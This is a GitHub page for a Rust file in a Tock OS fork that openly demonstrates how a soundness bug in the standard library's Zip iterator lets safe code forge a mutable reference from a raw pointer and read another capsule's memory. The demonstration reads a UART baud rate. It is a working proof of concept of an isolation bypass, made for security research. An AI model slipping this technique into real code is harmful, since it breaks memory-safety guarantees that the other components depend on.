forked from tock/tock
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathrudra_driver.rs
More file actions
53 lines (39 loc) · 1.45 KB
/
rudra_driver.rs
File metadata and controls
53 lines (39 loc) · 1.45 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
//! Demonstration of how the language level inter-capsule protections of
//! tock can be subverted using an unsafe bug.
use kernel::debug;
use kernel::hil::uart;
pub struct RudraDriver {}
impl RudraDriver {
pub fn new() -> Self {
// Reach into the UartMuxComponents's memory and read out the baud
// rate for the uart connection.
let uart_addr : usize = 0x80002154;
let uart : &UartMuxComponentInternals = transmute_ref(
uart_addr as *const UartMuxComponentInternals);
debug!("RudraDriver: serial connection is using baud: {}", uart.baud_rate);
RudraDriver {}
}
}
struct UartMuxComponentInternals {
_ignored: &'static dyn uart::Uart<'static>,
baud_rate: u32,
}
struct ArrayAndPointer<T: 'static> {
arr: [usize; 1],
ptr: Option<&'static mut T>,
}
fn transmute_ref<T>(ptr: *const T) -> &'static mut T {
let mut arr_and_ptr = ArrayAndPointer { arr: [1], ptr: None };
let mut other_arr = [1];
let zip = overflowed_zip(&mut arr_and_ptr.arr).zip(overflowed_zip(&mut other_arr));
let overwrite_ptr = zip.map(|((num, _), _)| num).skip(1).next().unwrap();
*overwrite_ptr = ptr as usize;
arr_and_ptr.ptr.unwrap()
}
fn overflowed_zip(arr: &mut [usize]) -> impl Iterator<Item = (&mut usize, &())> {
static UNIT_EMPTY_ARR: [(); 0] = [];
let mapped = arr.into_iter().map(|i| i);
let mut zipped = mapped.zip(UNIT_EMPTY_ARR.iter());
zipped.next();
zipped
}